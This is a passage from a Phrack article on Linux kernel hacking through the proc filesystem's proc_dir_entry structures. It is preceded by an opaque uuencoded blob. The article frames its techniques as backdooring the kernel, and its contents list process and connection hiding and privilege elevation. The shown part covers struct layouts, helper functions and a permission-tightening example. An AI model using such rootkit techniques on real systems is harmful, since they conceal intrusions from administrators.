M^@=.QM.`1L82^CHJ8X7^3.Z7,?$*5.(^7;5+9V-T'T7A-&)=I+EC08J$NNN5
MG[IM\)[OO\*KRM@)`Q-5BVXOI!*H&=P*T7^E9E-`F`B[6*GF>"M&+#R__$4Y`RKF+5V3#BX7CC)?L6<'SP_`(0-_#T
M$26XN0"H89]4PRUI6UJ5QP(W0[\`QNJY7P!5-TQQJA,]/@`A5GW;QH18I^`;
M*\S]C]U613"*U]*K"W%34=S7BF]^Y;L8GB'%#'@1P#N9.-AYCH1>L\]/B^3L
M+(6^?.C>TYR0?!9G>!<7V0Y+TB3%`[;P#Z1S,NO>;QZ`2\[Z3?(.,U[?F^>^
M&\52(+2])Z?9F$72C`I4:?'CU%T3-3N?J6=]`&I2>LFM$,=51,3W4MTC8>J*
MW.DA&9KOQ2F%TQ9%%)E\<@E+;?)!]=(,8&AU%3^PWEU8)9(IMMP0^R38%L^/
M\+OL!%%_:>M*B07%RTWOHC$\F6:U'Q=V3!Y9FG>N!20$$$@N(PZ2GU^\N9&&
MC06CV+'?N%7,'M61CH]F.7V!-%J!1WBXE^5HLN5KJ*+2.:XC
M]EI!+92X\852P,5GB@?
M*1\O'_Y8]$MA.DST=8YN[J@59/F"Q3N@IB!+J'0_5TM0'#7FL26`%W`OU6=.
M%=5,=R]Q]%2_(]-R1/I-7)'?-$`;&3T354W7V]'#H>G%HN/.`7`9,D/`\M!.
M?O(T5;86(*3471;'X.-VZ[5A/5TE/S_SI2?@J%,I1J_WPO6KNUO,_BM1E%2#
MWT("'2?\BW[LJ(T$!&%6&C\DUT'@].CK;?2>#E-WFR]U?'6%-&P)OPHOIRLSRKONM@(/(Q=:PZA(5F"
M_?/"0N;R2$'-#FIGBO6:A\R6F115D4F+PQ0K0ZU4E-7T>L:.(DN&<(:$>5__
MK(GO",?!SVCJ*"&-IHY?FXZ8-ZLRZT%V5M.:A.-4W/EQ\5%?EL2[5S58>6AP
M*+I.;\4[AJ5NW=58DR%L@;IUKU^V[095YRP\-3(7C]G=#=--KB8;G.W';?Q&
MU_&F>5IJHE#,+5A_]E_UT,,`E29'4Q9Z`13[&K\V0IMW_-!I(3K:QHVSQ+.-
M>\9B9D6UC^YI*A5;?J$H8T,N4_!4QQQ`>>KWDA$+Z!=RIO_A_;0SQNR3LEOO
M,'0H7)$\%7XX8``5KB"!2J+8%?4UL+'WFH51$ND+B7&(9UGN9.$*S`2/
F#ME(I[]^A@V[/G^,P;QFF_@5_)EVJ+=4CVAJ,YQ6
MB$G4AKP-&C+8DH=[+M#LS%QN)C)'W#N_#GB3/5,S4#Y9TG_!>K"W,1T0[V0P
M2/>]NNW-=EI"^BG*37XN6PU_:ZGN[9O\W@;E3U`O.?E4`;K-1#(,$A<<"ZR$
M91&-L%L9==1V[WQ49D)3\X($Z*->C4:]+2NXQD.J_)BB'MM$0J5F?;M2@>IU
M:-W4TV,R%FCR@]7-QG!:O3$#2X%VL'$#YHO-UZAM&KO]JS:X2DB@'$D2]MG]
M=M;LH-!?J
M"@UZ39O&"MR7R'RX*NE%TJ`XR-.AD,?8V6B0UI@+CO\Y],T,_2FM"0!>$?$K
MU5Y)B!QN0,[8_7'0%
MJ%DW`A#@E-&>^N9V>F0?-U"]_R:QRK,P=>5ET%X&`(%]KJ]N<=G3#FNPO#U
M_-T.N*/++HH*/@%I%JB=4;?.)]EWO:80"%^Z,(ICCJU$U-;")\\*Y;,*LLK*QR/
M*?R!LLQMY]>.]/1ZS,()[!:OM8GQ.7_6B(IXPSXK^=P1VD+V"1&;%=BO6I1;
M8^&F6462_.IB.`K*PMHV2[]T+QE"@\@"`^X\#AP?&GJ!\SL[Y._
M\E=53EFHKZEK00`V%EMO`+`SF[T%6O\PJ*)QU:Y'_('/S0(OF#U[S2'/\.F#(
MY'&EM6ZA?.6:!;"YVAAX?$F=(6!_NJ`&H+'_*#[XS@4_<2F[V%3@PQ*Y.&SA
M$)38EDL01\D>Z?_<&BV3?WQ`R!D3;)K@=L@F;/5$Z@?[Q)PM.O2:S-942'?G
MS?&.>-]#XXS\0([A-GW/T_O9504/EMLQ8]&C_"N8!++3>+'=4)Q\D!&R3!'*
M?9,7MLMXB#T_7TLZPD`R%Q&3,Z+P&\XMY2'+VF?@#`M?:<&'$RX$4MC!_?L&
M**F=!`E&Y0V('1>.=H&C#KWV5MA+$Z93UP.UV#A=^P%^!*:)4(P=1FF)=W^0
M^.\*1/[94[;QL5$H+4B/1I[#JHH\OGG"9$7,DL()O4TZ:#VTDOQ"H%*I-/)2
M@1#D>-)$*&=^B4X@>$P*Y`4:Y.@E*0H4N.1NAU?7>K:`2R/?[XJFU?`>VPL\
MQS6VI_:+4$A)//*+`S*.WJ4Z0=\6"9NZ'3N;X!XL0>5'J9'K4:5GGXR8E[]^
M;6]J*M&5MFP;*M&*&3`=^>7QYL5\*%7ERW-H4^;D6N*C/.:A-`5M2\_.EH*#
M([QREC1W-C<`S:-TIAL]2U"ZG6+$.L*V7.4R?M,@OD(?*?V^8E%Z[E8)Y[FP46W(?OBHHW6&U;3&]L:+=)E%9FBN&6@.*(-
M^GKIJP43IHI*U7;R-W/"ZU*YX0IU=0GX55X^#@VF#BW$`"TQAJ^9ISD-[?P<
MO#^C4N-QP.TH'FM6%)]S'P;6$N:'MDYV/C9N&&F].=/*:XGGKT87)7>O!9_S
M@Z27WITPRT=MT>C?$[O1]1Q^#*,JUJ>[T*VH+.=^CML43A50G)@%#Y'MKL/$
MD6GHL2L9[Q=HB>)<.3FB]$_@PNB0A%E273SQ79P3@)"0QNN"]V$-;DEK#\01
MI@7:)CBMS./+JT?Y+F:TI'K^P%!Z)OR,\$MG/9;QB<]Q(1!K/^Y>LBV*H`K$
M@"8+H7>27G`93$ZB9@,O2J6V%#NF<:&A02W]^.Y&R42/LKUL^2I79K'ZQKL(
M]7`I2LS0("[BL='`BAO+R%EP-*ZT[]6B?(>I.M-#=S>$"@RPZC_KQALDH5`#YX#GPBS3^73#`;QSX
M60-ODTY1=/S[?B&E5U:=6^!^0&/PV"\QBYJ+)]57!Z,?FJQ#%4$]"^]0G]YU
MCP>^*?G0`S1]"F)*'T>KT9PWVBCZK+<:&1>"\*0EV3<13/SX(LL-0B3(AU^G
MO2IJE%Q>Q$ASLQ+#3%(X0--B7$"CLLK@P_IAN%16F9PE?E,%H&TS==L;Z/L<$FK"\VO!#?-5QHG
MG?_\Q//IJ^:/Q*=5FZ8ZTK3G$IO!`2?Z:W37Z7C?9=YUWOA9[=?S;#DV.QA1NGQV2W3:Y!XHF@KF&=<6`5-^7+C4@2C
M)D6&QAEK>R24:SV]IH3=\4Q":U`B;?K:U=_ITS>5WDK;,4])XLOKW9,9`)A@
MS_=&B-I?A=>&W,FR'(HD`L=VR)^$Y\V1I@1WM=C1L=R^\ON,*%/`T&!4/"I]
MQ2]Y5!';03=V&B_DBZ$A.!E7_WI&]3/P)_OQE1OBZ%=@94F$JCX/BBS\Q/XM
MBE/0Z$C?&Z\:(NMTB^*"#5KQQH21GDEZG+<8;Y/\&KE2P8C8W`A*PZ)UF^/--DPP
M`97G0%U[G\0#J)/]HD$P8S:A$%\L8J;Z]T-Y<,92S06:B,I?>"/H(-**8HJ0
M/F<<%9I34O.KU?"KU?(OU/`OU/*SU_"SU_(WUO`3L!!QH%8BE+)$WI^0S%GY
MN>:@[*"C2D)J_;`H/7PY%$6G9ZA3=NPV]L3ZT;&"$)B1I@]E>,@2,6_X39E.X(G"R;53'34
M1]!H7V>Y4K$.W4_K@[.6YP)!B<(92)S+3&UF%`J%H=7]PPM$MG!W^Y?@APW&';]7YIZ=)HP"\$PX=602^+$#L8'PV9*SK@TIB.F_'#&SAH2=^N!?:0M>E1>?;
MH_");`'E88G>1VS.!1[9475?Q;TS6K7,6UT3@_@J_6N?A21?MCE-H;OC`73&Q_RHS8/ZC
MK>',MS[5&I:86>#$FY"'A!`57B4F%2-TYQ_@D:?E4XQJS5YST58JT-RU8+&7
ML,3G>S_A]AV*BK+(QO/D6.ZT)98D;00_NVTGAF,E+E3&8;:2K[D_<$;21Z@5
M)4?$K<`IZ?YQH4HR3NV/>4&J/>J_Y<7>FY%C/<9?T":F:56KFBCWH>2,[#U@=K-MPRQMR,P&(D=NS75^PR;*(SIR;K$#]CO&O4G6#$;((
M$D*ZOW1ZMWN*#Y\;B/$2GB]Y`1E\A^,[\Z*>SD'GR[8[=?RF"D,J)66VU8&/
M+7]GGPUD)$MB`X+'N/SD+M7U7LE"R\O=W'M]"A:Q1=]8Z15WN_XI-Y)2G4
M%/6/05]0EI[9"VGAXQ"[BJKIPG`Z&^ZZ4?[B0>VDQ(.KL'Z,8J0!4'@&,BV(
M8_$Q"&^-9"4B"\E`3>CY0064''MM?5_-DM!=M&.O43L)>)T>>(^^+YO-OE\G
M8KOQ=#*6!@KM]IX_8\1>7X.#2G;#R1$&0!H^*6SEL:*^A3L!?6VG[)ALU4+%
MT(^=PW_WGU$4Q&98-%\LD_RZ*O2SEJ.ED6]A.5-W!,`_<)7_KCT`P*&AH0+H
M:B&]^QX`KLJ\H!]]/=+D:&A.P*X'WE*J'F+PV&/9NK2^!K6(6?0HXO(J:`3K%WE?[3PO;;L#.:Y4`JE[3CBUCAF*$K61JLI9K
M/CVHB0=V">D$\;_3`#PGUAXPY0
M;(=!N[I]"AVM>\%>T%X@FKX8!38#2=G4
M-%J@!EO7BBK"'8UGK@98\A<\XP;P8LRD:B3-SB<`_]KV?]740\'#ETR4.-0=
MZ*@R-*-IYQ&?'2REC%?:\H3EU43[9@8;($ZJF2_)YEL>_N8*BB*^F`J__9WJ
M4U>F$9@;H)QH-U9B0-'_&TE`DK@\[GT;%IQ>9+@=AY=!BAUMRGCS,:A0PV*1
M(.(S1=VWQBKEMC&ZL`AY-E&(^LTCENSLK+*^F?P#L14K3P>1;N#Z-82K9>)3
M57U@(>)Q#J@YV4(>0][9Y:E)A>F(8G[E@NRXGV:%08;QN>A-IPV_C$.5=/8J<[51"KKH,H-Z$&.@G&"4H4H[I"V8R`<8;CN,4%WR\&'=
M^^IFLEB0';I608[+H3\K+N9H,G)>!N6A/VS@9S9\/<5O]7)LU;6'A^S$?N*(
M!>V,;AX/ZBESO4A#+4=/EL2K(+H6_APZS;H7#Z>*<2/56P[P3_"/SXI0QR,#
M>?777P;STD@86;RC,[-I[4P)?&/$1%CZXLJ%WR=A%JKU$CE1#N[6E%;'T?II
M;1:E'AA/9Z)D5+C:Q$28;JP"(VA^F]J::/UK[IS[1>DROP>1*?'\I90/ER@%
M?D)N?PG2*N/*B-E!7A,D?N,N!:>6_1(:`H4AZ)AVSN$RL)7?\()L;>QG$GA/
MM8H#1V2ZUG#UMB*0B<;*-Y_5*6-Y:XFLU\?7ICN+A[.A+D`/#QV6,_&:>:+Y
MS_0EO6G.V1B0ZIJ7-ZJK1*B?,1=V;0N+Q[K7>U)#@AIWP-I7.AT]9'OBP"VY
M9`(J3W[B#X7XZRNT)B>:H3Y8/E<2A^,]H]C\[K6-C;X.V_B):S84#'9"%DA@
M8IU%/5:Y&%^#1:0RXN^&Z3>A!E&3JV-,%RJ\VVJ#6C\`?8'+GC3L2578CO)X
M5;T#W0ZW55NVR)IHD=/V+8(><7Q2Z4VAJ-=2AQA//[W,K.`^DO7ZIFFA]H&`
M#&_(G*#?LA6X01[1E##,"A#[[AC-MO:LOE$F58,"]
MI.<*!/6YAP`0O0*)U@&`(;IRFUFF]&F"O?^X?Q@%K4ZK#`_(#L;DY#SS7=?I
M0?)LS8A*QFPZ7\8*/H!R&QL^?'LC>3\DQ+GO'"MYP_B0L78==KANI]8\3T.;
M<4N-%M1=1>2N>IPXM340J;NN9P@L^\6L`-DGR>]!D%9K$H$[M18J$$Q.*@^B
M2KG[,2V!-G(%QN1>"BG.TS3:[(N.RY,Y'_:O'/6CL/06>-"KU$B;Q>"QQW*Q
M=A,Z/SO_`U'M<'='!;+XM'HWU.>5.)O!;5*N$"IU%:Z<"N1FA$C#&P^GYJP7
MCM#`EE<[Q)@JFTB/TH'S7%K%[2,_4&AU(!$0@\^3!1SR5R)FWMGWN;FG`TU[IGI8MLY#3
MJ1^3!T4L0LY\M,\=;[9D/2G')W.F`Q:5'*RB5/PLR*,(K>1EYA\!$B9@%RQE
M;88:&0P*%VLJMX;HD]3,./*ZOW^&5!D9RTB3W$E^.BKH:S5/V>1_F6?ZK\($+-":/!@CJFXB%JH%%ORQB:6;>:5@WTP6>`_-EB%/9YJ"
MEL>/ZZP+U"-!W)IN)-DUK#0DXAL5#7@S$^-!P6:FO66O:GDJT$`MK69S2YG&
MST2R#+\RH\NMV0^80;W-/L1?(EIO3F_]7>77Y%'3![
M`$<0:1"0D)#NEFX1%)18Z124;I!.5T)@Q05EP8"E.W?I[A;I6&I!64*6E@4D
M?_=Y[NO[#]QS]O-JYC^8.?,]9ZXV)GAE2KOU)1>J75+^2%);SKO'RW2VT,7'
MOJ=R:ZO:"E:B(UPW=O&44>WS^\'ZL%J804IVE&5T;.H2D.6."G`KZGU7P-$>
M4OV]]8H-:;VS2J@_LK#Q,86OWP6KL&!/[0\3DZI5+%+Z7*MK(?"(1Y92XN%$
MM+_V,$FJ9
M+81Y-R..^%HA7^>M7S+VP^:ZCS+H%<+S?-27?'RV,WP%^PQB$SFDJA81THEFRN1QH9:1
MY/RKO3-^L5_[[XY$YZ=,"7I(6'D^34E'[ZP9A%KFA;VF8K>\_$XX96/G`/;B
M&]=QXB0T<%:)7=]8T)ZOES5<0VJQ5N,'PTE.'$
M=L_8XV*H)73G0W#"?QJ'8]S)=W@D-&Y-D=>*76V.[$!L??0OJ]8RGT5*%(&J
M*I:_*`;6SOE![Y??T[R[OOWFNAW1N*^&BB`_`-M]9G['\._]1=/<#4FH']!:
MO:AUA3J938.V7JXBCB!AOU=GUSB86E^'AYF5#O0^#P6QB:006"GG`]F!2QM;
M;E/^-C<=FIR!W`,
M";-*R:@-HV15;;/CA#(4G_SF%0)R;8K*EOB\K0N]G[TI*W&JTQ(]3TX,
M#V>X$'II;B+6\'7I?.H/%-W7U/ZF1ZZZ)JKLY#8?/$6#3AJ2C&TPA?$^OA,`
MILOV".=V]C->3GQT@.LA8Q%9BE`\GAZI#":O'DDU?$N%HWHRA8/GKC:0["OL
M3O\R/%;)8=!GR;MAIP?.RPXH`-6#O1!JOU7'!PC`"H#U][]8!`@C;6J!Z2#$&5"?-@NE:@`6+:S;EX#.@6+/
M1@H&M_#4VRZ<[DJ0"U^G9TJJE+']DYR;Q';FI=Y0\P
M7G=8EO\#`=^2L:2[.\$_NN3/O]?>[/W\MZSVGZ'0QMKKUS4*^\/=P>F]`L$N
M@))/#]X!/"+^N=X3L3!@/2F+?V-)Q;RU$CW:L,RF/Z`A\+/8[O8D;[:2_F$#
MK\,6Y'!!6D\!(74BBB0M?.CR^^Y<-M*7*N6%_:88JW'R\6$*[2G-I""!>#>AL(VC]!N.J[+0G6
MXH1+9?)-#>Q,8]#MD;+IIV_NZ&YKL?CG?U9/7A=$+$JEV8PE0OFG>K7<NQ"7$4L7AK70R79<-AJ\P_T'3#JXW!"QT>OQXB5($1W)7)+,*\
M&:*>2K"%Y`4\D#JUD'Q`TG9?_['%\SN8!+EOCM'*5AV/ULO7*$7M/\7_9+Q:
M#EX=[<"$=CKL?UQ_ETGSZ\XBI1++AQ')^>`<(H\Y36(KU5L1H3))RB,@U]AL
M,9K#M>P[4I1WGA#D,L+W.ZPM5T/&Y8L2[HY_?MZ3XR\>'$\JZ"WI@O,U*$$$
M:B_.21-13%%)&JPN"G[V7Y#TRX6*(/V:L\E(H_9LUA)'NV(QZ&+<,#[1(%=(;)5O:*=:
M8,OQ./5^3+ID"%^-&VQHBI`T2BI29UY]YBNCWF'\-R3-3N=\RF\G@G++`:T\
M(96BS!]4%5WRON[?3;8WWMJ_*SGQ;QIMW[J+=0WO23OSJV4)/&=C,:<]I2:!
M;!Y%NFFUT9$,4@C*K#+S559>#Q5<#86AZ((*&-_WU_T[*(]L(.A>"#)E+2W@
M-Q0B:'%O*'HD0\1[5)O::FU$.-,PY?4K:"J=>U1(W-Q!IFAI0.TIS&BL?2/$
MFKJ;E@\DUB/05,1,N(0=;G\,NXRZ=@;A0DN'*E'9L;:,_J5O,_GNRJEOQ76U
MK801=(S=EM,C(RM%P^2YU7>S'QP`OD:FJBN:CB^:H,^["X:2(%7AHZ+#QO\R
M.T+`B(,P""KI6\>?AC%P%Y',%EN*&H%\<^1R=1RO]J%]:B&Y7):X#@1#5RQO
M;&D"HJ8&AS2#_5H`I<1*O6X!U&A7W<4);((U@Y72@*M/G@7."AUC>U4I\97R
MI)IWE'-=^W#VIGS+Q[9]9?,6,NZ>:>%WSFK[!Z#I1Q=&"]Y,0L2>=-QQ:";2
M?]ZH#V9M22QZA0&MP^;C'8YSEV9A>YL![;ZO#]!Z0BB;L=]1)1#NMDAI1WGX
M[I0X-ROQUZSJ1,VM7P\=\E+,W,=+9[),2Z6+C5S,"O?AS]&6:2FN086\Z;/3
M_]LLYBO&,H\2^A@4.IH5SO!7(+.T_HI6A"U\?YG\U]D$.U8ZDVDJ!#<6@IL*
M?3<6^OP\3!ZFM)(N:^_4XJA/;E8Q5'S6*@H7)RVWUV3@^;@I/*DT*FK"=
MF!ZT99.\\]#?3"BMY'6:K8=]1?/+Y-G"\Z$W"-',`G11GMPMR9#&DQ4K.>;/
MJN[3E68UTR\V6XB6:!<*S4QOT.62',V2[->GS:\
MS.!/@,2YUB)(C';I/?UE;S[HZ3H%>\8^%D?$IR*-RQ.LI'T:RU2E/W'KI$>\
M?H:VF,WWHCL5YMZ38O'L=;QTLO%NR7P#J\O?KMKM/',"CWCYUK:(HIV7,CH/
M(-MS/S-]YN:"]_3H0[_$=`Q+:7_BG;Z%X\J2Y?BD6\^9SBIR&'XB;K=LV*X*4NJ)_@>
MFK+D8>/!];M).B!MZ[*X-5Q]C&'%9:C'Z'BQD:%64?OA7D`/;ZE_0*$KM8ESUF-;SV"/)T,$;+EV*$P\U[(H$
M!?@?YIJ$ADDD^4M9_84?5C(EN]7K0"7T8A>T"M$>YGBK\N_8SK9#227L.GM0
MH-CG[<7YGAVPVFKW-A2PJP08#U)]UD[5YLXS%H:=&!Q,VX>
M0)^#SX6S=Z[*.%?FZIE\*<)Z++[28@W/IZQH=7MR9*,3Q1)B*\EL97^Q'N0-
M2:BR<'/H9G0VF0VU%)7FI>F_]+RA>#X=!_]M"_A.*U%I8:P>33!N?]5*W`]8
M;Z+71:NI]%AOTSW(_/YXD8R3%6I'4E#E;\V\E(;;4/JUX^JG\72;./,9W&B)
M)["50[(MLFU#9G99V*P!PWV^I_1HY6W>^?=P]M'W6<^_[V1@_TY4,/@
M\O].-S:6+RW1%DNQURAGS-C-3GG$CPWC:ZRJZZ!Q$U'"`$Q$EGR0W6+MC_9!
M-;59N4JCL>>"6]X/[D(XY!/[$6PB2/"672Y['-HM7M^M1`P3]<$LY.=FX6&@
M');$W'[K%HKB*D?54!*7HQ0QT7/X<6Q08RN&?`!6$J.#<&(M,EOY(RT:P5[2
M7G)?6XR=5=!FL-Z@X(L:R%R][:VE[<=XI%B-E$7_XW7[#Y_F">J9/HJP:7P9
M@=XMMV6KTG.>O/5MA.=N3*U8U9Y>0'U+G_133.^A@X)!!MO*GF[TKD.#JA^'TG@@[-\KH_?/4P=?JE))^TUPK
MGTBPE[`MD[48J-`8YW`%F>F$::;:U8N9V5MLY:^T%(65WN`2D=9Q>^;P,"'D
M/.GFFB0H7(9SP??N5(GT[Y([5*"'>SS[WLVBSA`TDIYZ\?8];LS*'G'G-0P#
M`.>;KPXDV!(:3@L?$-@,`AD[(G/`S@_^)0!1N;H-V&T89V%TD)3*0U&G1#<9
M[+4,D:[L'*XH(2:D_W1<]K6(U>_6WO+$7V5E"5S!:LA9][3084G*UB727M62
MLK>-Y.*D'DZ+:H=?#B^%,F*Z]QB$)&=P0>%5D*X@Q90@V*
M;%"'1?AC4[LY-:I7"J[+OO;@>^--?=1G=AV"RB<[6,3MK"->WBQRG4NJ/M.!
M"6\OF!0K$IMN4E"55*RY\H1MJ.0VG($X6KVSO41XESC=A[_/]_+0IRH%N5K^
M_FN=PU/?9:+-D$?K6N+2;LPC622]--CQH_,7[/&&T2+('&ENC?0..+38!1P?
M@`:8^Q/2%9(>"4:'Z8'7-.[_;&1Z:1^3U%)':Z)(+^Z`<
M,<[;+]TC/_IC=>Y0AT[,-E#"=/J`Q+.\U3HPDZN;`H/`0IK>MXAF%+@Q#&AL
M'CCBF)LSE]]?`2*AXS^/`'L$4*4.6**7#P?`D5X;!L"E9?CR#V?F'J@B-Y
MQ*J]P)7U_/<),\I)54/?^KA*$H0:?QW);8RX[@Y,H6K2F>DD#VF=C\X+HKW#
MX>[2ZP:5=]Z%Y95KO3;*ZE&9]UYL2X,'+M6YL>/F$P4N^0WH`M7ZU:)[?>=^
MNN:?=[D`=0NN[^-E6OV*W5I
MWMO;"^'SB-4GM?/28#9]-K`^5GTUTOPI#H0DI(U8@'QG9+7L!&[ZC\.:BU(7
M:UVD9ZQKRQX@)L#EN%66ZT8#P,OD/O4)85:[P=K*.N$6A<2:4#4OF=\!72`WJ>G[SRV@@:?3
M0=D?XEZR.YB+M2FJA)0;5*4\4WBA_MEF+%[T`T&XV#C\3LC<66^JX[Y7?7B(
M7\YIE]CWBIW147=_?;%ML(:-5MMN_;\`R,N5TOX28O-7R!PS?BO>/[KYOA/3
M^^I\CAIS'M5KN5SO!2)T^,8PO+MSK]M-IKDD"F=G-&OFIT71;:_-Q'K>ZGE:
MTEDH_VVU3I]FWS6"4SJ?I':`%Y56P):?7:M=I&1*0J9:F`U!XFO95
M[-3S1[Y4OJ*B'89^9(B2,7N,"D&Y/JQW,;Y/QY/WT*E>^F``&L_C&=QO[4U!
MW\P>H#91P(!`)FJTDDP[9EUD))>SRAQO9^NK'DE]BLP":8W2BI*=MWVB":UL
MG_V><(#!WY0HEX'?-82'R
M3>K0J@T'+7112$HY+220=Q!8D[1`YB!-MT5%DFC*$V3$(JWO/"P<&$T.H&!0
MN#IIZ;YD&WWX1UWZ,'VBMJ5`38J0E>I!%-2Y-^D=F69XU;W`DA647F!"FTR>W;Z3,CSD,W\;L<$]##V3O*'7VUVV]7
M]51V0YRINY'*I;5[K<(L8"Y(_5\B%T74M8J3H)2M!5>J*V>6]A*[9DIX$3M8
MMNBVR]\*GX>A_YDJ:M4\\NYMM[R1UF=;?+QJ-HO,6&*BC
MP?H^"9I<1)L.<`BJV!+OZB:;HV3(]0:BAW_NPQ)K2^3'^*I&^/\,S[[+O_6C
M%MLK9*?P#FV'?3+J$"'K.GBM53M6016^V`7%[KP7$JII5S<;C)^GB%YUW';3Y9`G9LY=BC#6F^]DL$E
MZX4X97:!P(Z!L?;:%VY@YA+>L+LZ>9G*\4C3A]09.]P7HQGVW6/MS;G-Y45@
MV[1#+BK]6_1B4\G<'AX
F>'AX>'AX>'AX>'AX>'AX>'AX>'AX>'AX>'C_S_T/[21E80#(````
`
end
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x06 of 0x0e
|=-----=[ Sub proc_root Quando Sumus (Advances in Kernel Hacking) ]=-----=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ palmers ]=-----------------=|
--[ Contents
1 - Introduction
2 - VFS and Proc Primer
2.1 - VFS and why Proc?
2.2 - proc_fs.h
2.3 - The proc_root
3 - Where to Go?
3.1 - Securing?
3.2 - Denial of Service
3.3 - Connection Hiding
3.4 - Elevation of Privileges
3.5 - Process Hiding
3.6 - Other Applications
4 - Conclusion
5 - Reference
Appendix A: prrf.c
--[ 1 - Introduction
"The nineteenth century dislike of romanticism is the rage of Caliban
seeing his own face in the glass.
The nineteenth century dislike of realism is the rage of Caliban not seeing
his own face in the glass."
- Oscar Wilde, the preface to "The picture of Dorian Gray"
Since I concern here on hacking, not literature, lets restate it. Our
romanticism is security, realism is its shadow. This article is about the
hacker Caliban. Our glass shall be the Linux kernel.
Not the whole kernel; especially the proc filesystem. It offers interesting
features and they are used a lot in userland.
I will only describe this techniques for use in Linux kernel modules (LKM). It
is up to the reader to port these techniques. Though, the techniques are port-
able, their use will be very bounded on other unices. The proc filesystem,
developed to the extends as in Linux, is not that extended in other unices. In
general, it lists one directory per process. In Linux it can be used to gather
plenty of information. Many programs rely on it. More informations can be
found in [7] and [8].
Older versions of UNIX and HP-UX 10.x do not provide the proc filesystem.
Process data, such as that obtained by the ps(1) command, is obtained by reading
kernel memory directly. This requires superuser permissions and is even less
portable than the proc filesystem structure.
--[ 2 - VFS and Proc Primer
First I will line out the needed basics to understand the techniques
explained later on. Then proc filesystem design will be investigated,
finally we will dive into, well, the roof top.
--[ 2.1 - VFS and why Proc?
The kernel provides a filesystem abstraction layer, called virtual filesystem
or VFS. It is used to provide a unified view on any filesystem from the
userland (see [1] for details). More on this methodology can be found in [2].
We will not look at proc from VFS view. We look at the un-unified filesystem,
which is at the implementation level of the proc filesystem. This has a simple
reason. We want to apply changes to proc and it still should look like any other
filesystem.
Did I already mention why proc is aimed at by this article? it has two
attributes that make it interesting:
1. it is a filesystem.
2. it lives completely in kernel memory.
Since it is a filesystem all access from the userland is limited to the
functionality of VFS layer provided by the kernel, namely read, write, open
and alike system calls (besides other access methods, see [3]).
I will elaborate on the question: How can the kernel be backdoored without
changing system calls.
--[ 2.2 - proc_fs.h
This subchapter will concern on the file named proc_fs.h; commonly in
~/include/linux/, where ~ is the root of you kernel source tree. Ok, here
we go for 2.2 series:
/*
* This is not completely implemented yet. The idea is to
* create an in-memory tree (like the actual /proc filesystem
* tree) of these proc_dir_entries, so that we can dynamically
* add new files to /proc.
*
* The "next" pointer creates a linked list of one /proc directory,
* while parent/subdir create the directory structure (every
* /proc file has a parent, but "subdir" is NULL for all
* non-directory entries).
*
* "get_info" is called at "read", while "fill_inode" is used to
* fill in file type/protection/owner information specific to the
* particular /proc file.
*/
struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * ops;
int (*get_info)(char *, char **, off_t, int, int);
void (*fill_inode)(struct inode *, int);
struct proc_dir_entry *next, *parent, *subdir;
void *data;
int (*read_proc)(char *page, char **start, off_t off,
int count, int *eof, void *data);
int (*write_proc)(struct file *file, const char *buffer,
unsigned long count, void *data);
int (*readlink_proc)(struct proc_dir_entry *de, char *page);
unsigned int count; /* use count */
int deleted; /* delete flag */
};
The described "in-memory tree" will be unified by the VFS. This
struct is a little different in 2.4 kernel:
/*
* This is not completely implemented yet. The idea is to
* create an in-memory tree (like the actual /proc filesystem
* tree) of these proc_dir_entries, so that we can dynamically
* add new files to /proc.
*
* The "next" pointer creates a linked list of one /proc directory,
* while parent/subdir create the directory structure (every
* /proc file has a parent, but "subdir" is NULL for all
* non-directory entries).
*
* "get_info" is called at "read", while "owner" is used to protect module
* from unloading while proc_dir_entry is in use
*/
typedef int (read_proc_t)(char *page, char **start, off_t off,
int count, int *eof, void *data);
typedef int (write_proc_t)(struct file *file, const char *buffer,
unsigned long count, void *data);
typedef int (get_info_t)(char *, char **, off_t, int);
struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * proc_iops;
struct file_operations * proc_fops;
get_info_t *get_info;
struct module *owner;
struct proc_dir_entry *next, *parent, *subdir;
void *data;
read_proc_t *read_proc;
write_proc_t *write_proc;
atomic_t count; /* use count */
int deleted; /* delete flag */
kdev_t rdev;
};
Years of development did not complete it. Err.. complete it, yet. But
well enough, it changed. get_info function prototype lost a argument.
Working around this makes portable code a bit messy.
Note that there are three new entries while one entry, readlink_proc,
was removed. Also note, the file operation struct was moved from the
inode operations into the proc_dir_entry struct. Working around this
is just fine, see section 3.
--[ 2.3 - The proc_root
The Linux kernel exports the root inode of the proc filesystem, named
proc_root. Hence, it is the root inode of the proc filesystem that the
mountpoint, commonly /proc, is referring to. We can, starting there, go to
any file in below that directory. However, there is one exception. The
processes' directories can never be reached from proc_root. They are added
dynamically, and presented to the VFS layer if readdir (inode operation) is
called.
It should be made clear that proc_root is of type
"struct proc_dir_entry".
--[ 3 - Where to Go?
This chapter will introduce techiques to aquire even more abilities than
commonly obtained by systemcall replacement.
The following functions and macros will be used in the code provided in
these subsections (note: for implementation see appendix A):
As noted in section 2.2 we have to take care of a little change in
design:
#if defined (KERNEL_22)
#define FILE_OPS ops->default_file_ops
#define INODE_OPS ops
#elif defined (KERNEL_24)
#define FILE_OPS proc_fops
#define INODE_OPS proc_iops
#endif
struct proc_dir_entry *
traverse_proc (char *path, struct proc_dir_entry *start):
On success, return a pointer to the proc file specified by
path. On failures, NULL is returned.
Start may either be NULL or an arbitrary proc_dir_entry; it
marks the point there the search begins.
The path may begin with "~/". If it does, the search starts at
proc_root.
int
delete_proc_file (char *path):
This function will remove a file from the proc directory
lists. It will not free the memory the proc_dir_entry occupies,
thus making it possible to reintroduce it later on.
--[ 3.1 - Securing?
The easiest modifications coming to mind are related to the first few
fields in the proc_dir_entry. Namely uid, gid and mode. By changing them
we can simply reissue and/or revoke the ability for certain users to access
certain information. Side note here: some of the information accessable
through /proc can be obtained in other ways.
An implementation may look like this:
proc_dir_entry *a = NULL;
a = traverse_proc ("~/ksyms", NULL);
if (a) {
/* reset permissions to 400 (r--------): */
a->mode -= (S_IROTH | S_IRGRP);
}
a = traverse_proc ("~/net", NULL);
if (a) {
/* reset permissions to 750 (rwxr-x---): */
a->mode = S_IRWXU | S_IRGRP | S_IXGRP;
/* reset owner group to a special admin group id */
a->gid = 7350;
}
